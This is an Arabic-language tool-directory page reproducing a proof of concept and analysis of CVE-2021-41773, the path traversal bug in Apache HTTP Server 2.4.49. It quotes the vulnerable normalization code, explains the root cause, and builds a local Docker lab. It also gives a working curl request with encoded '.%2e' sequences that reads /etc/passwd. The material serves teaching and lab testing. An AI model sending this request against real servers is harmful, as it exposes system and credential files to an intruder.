Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-41773 — PoC and analysis of CVE-2021-41773 | Kitploit
أدوات/GitHubGitHub/tr3m0x/cve-2021-41773
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC and analysis of CVE-2021-41773

عرض المستودع
منذ 23 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-41773 PoC — اجتياز المسار في خادم Apache HTTP

نظرة عامة

CVE-2021-41773 هو ثغرة اجتياز المسار تؤثر على Apache HTTP Server 2.4.49.

تسمح الثغرة للمهاجم بالوصول إلى ملفات خارج الدليل المقصود في ظل إعدادات محددة، خاصةً عندما تكون الدلائل مكشوفة عبر توجيهات Alias أو ScriptAlias أو توجيهات أخرى مشابهة لـ Alias.

توجد الثغرة بسبب معالجة غير سليمة لـ تطبيع مسار URL والتوحيد القياسي (canonicalization). يقوم Apache بإجراء فحوصات أمنية على تمثيل مسار قد لا يزال يحتوي على أحرف مشفرة، مما يسمح للمهاجمين بتجاوز اكتشاف الاجتياز باستخدام تسلسلات النقاط المشفرة.


التأثير

يمكن للمهاجم إنشاء عنوان URL خبيث يحتوي على تسلسلات اجتياز مشفرة مثل:

root@kitploit:~
.%2e

حيث:

root@kitploit:~
%2e = .

لذلك:

root@kitploit:~
.%2e

يصبح:

root@kitploit:~
..

بعد فك التشفير.

إذا قام Apache بالتحقق من التمثيل المشفر قبل تحويله إلى صورته القياسية (canonical)، يمكن تجاوز فحص الاجتياز.

الاستغلال الناجح يمكن أن يسمح للمهاجم بقراءة ملفات عشوائية من نظام الملفات.

مثال على الهدف:

root@kitploit:~
/etc/passwd

الكود الضعيف

يقع المنطق الضعيف في:

root@kitploit:~
server/util.c

داخل:

root@kitploit:~
ap_normalize_path()

كود Apache 2.4.49 الضعيف:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

تحليل السبب الجذري

يحاول الكود الضعيف تحديد أنماط اجتياز الدليل:

root@kitploit:~
../

من خلال التحقق من النقاط المتتالية:

root@kitploit:~
path[l + 1] == '.'

ومع ذلك، يمكن للمهاجم تقديم تسلسل اجتياز مشفر:

root@kitploit:~
/.%2e/

في وقت فحص التطبيع، يعالج Apache:

root@kitploit:~
.%2e

بدلاً من:

root@kitploit:~
..

لأن:

root@kitploit:~
%2e != .

منطق اكتشاف الاجتياز لا يتعرف على التسلسل كـ:

root@kitploit:~
../

ثم يتم تفسير المسار في صورته المفكوكة التشفير، مما يسمح بحدوث الاجتياز.


تدفق المعالجة الضعيف

يمكن تمثيل السلوك الضعيف على النحو التالي:

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

يتم اتخاذ القرار الأمني قبل وصول المسار إلى تمثيله القياسي النهائي.

النهج الأكثر أمانًا هو:

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

يجب دائمًا إجراء الفحوصات الأمنية على التمثيل المطبَّع النهائي.


إعداد المختبر

استنساخ المستودع

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

بناء صورة Docker الضعيفة

root@kitploit:~
docker build -t apache-cve-2021-41773 .

تشغيل خادم Apache الضعيف

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

الاستغلال

أرسل طلبًا يحتوي على تسلسل اجتياز مشفر:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

الاستغلال الناجح يعيد محتويات:

root@kitploit:~
/etc/passwd

مثال:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

ملاحظة حول استجابات HTTP 403

استجابة 403 Forbidden لا تعني بالضرورة فشل الاستغلال.

أثناء الاختبار، قد يقوم Apache بتطبيع بنجاح:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

إلى:

root@kitploit:~
/etc/passwd

ولكن يرفض الوصول بسبب صلاحيات نظام الملفات أو قواعد تفويض Apache.

مثال:

root@kitploit:~
client denied by server configuration: /etc/passwd

يشير هذا إلى أن الاجتياز حدث بنجاح، لكن التحكم في الوصول منع الكشف عن الملف.


الخلاصة الرئيسية

CVE-2021-41773 هو مثال كلاسيكي على ثغرة التوحيد القياسي (canonicalization).

يمكن أن يكون للمدخلات التي يتحكم فيها المستخدم تمثيلات متعددة:

root@kitploit:~
.%2e

و:

root@kitploit:~
..

على الرغم من أنهما يبدوان مختلفين، إلا أنهما يمثلان نفس مكوّن المسار.

يجب دائمًا إجراء الفحوصات الأمنية بعد فك التشفير والتطبيع. التحقق من تمثيل مشفر أو غامض يمكن أن يؤدي إلى تجاوزات أمنية.

تنزيل الأداة